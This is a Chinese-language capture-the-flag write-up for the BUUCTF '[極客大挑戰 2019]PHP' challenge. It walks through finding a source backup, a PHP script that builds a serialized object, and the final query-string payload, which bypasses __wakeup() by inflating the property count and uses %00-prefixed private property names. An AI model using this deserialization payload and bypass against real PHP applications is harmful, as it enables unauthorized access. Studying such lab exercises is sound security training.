天天看點

BUU WEB [極客大挑戰 2019]PHP

打開網頁,是一個會動的貓,貓會盯着毛線球,還會伸爪子玩,咳咳,網頁提示:

BUU WEB [極客大挑戰 2019]PHP

一看到備份,就直接掃描呗,掃到一個檔案www.zip,

BUU WEB [極客大挑戰 2019]PHP

通路,下載下傳,解壓,檢視:

BUU WEB [極客大挑戰 2019]PHP

flag!可惜是假的…然後檢視另外的檔案,在index.php中發現了一段php代碼:

BUU WEB [極客大挑戰 2019]PHP

class.php裡是一大段php代碼:

BUU WEB [極客大挑戰 2019]PHP

審計完成後,大概是在index.php中包含class.php檔案,然後get方式傳入一個select參數,并且将結果反序列化,class.php中如果username=admin,password=100然後我們再執行__destruct()時可以獲得flag。

構造反序列化(複制大佬的腳本):

<?php
 
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
 
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));
 
?>
           

運作結果:

BUU WEB [極客大挑戰 2019]PHP

将結果儲存:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
           

将這個結果傳給select,這時候問題來了,在反序列化的時候會首先執行__wakeup()魔術方法,但是這個方法會把我們的username重新指派,是以我們要考慮的就是怎麼跳過__wakeup(),而去執行__destruct在反序列化時,目前屬性個數大于實際屬性個數時,就會跳過__wakeup(),去執行__destruct,構造payload,将屬性個數改為3:

?select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
           

然後我們就會發現實際的字元串長度和他說明的不相符,意識到,這個變量為私有變量,隻在所聲明的類中可見,在該類的子類和該類的對象執行個體中均不可見。是以私有變量的變量名在序列化時,類名和變量名前面都會加上“\0”的字首。字元串長度也包括所加字首的長度,再次構造payload:

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
           

得到flag:

BUU WEB [極客大挑戰 2019]PHP
wp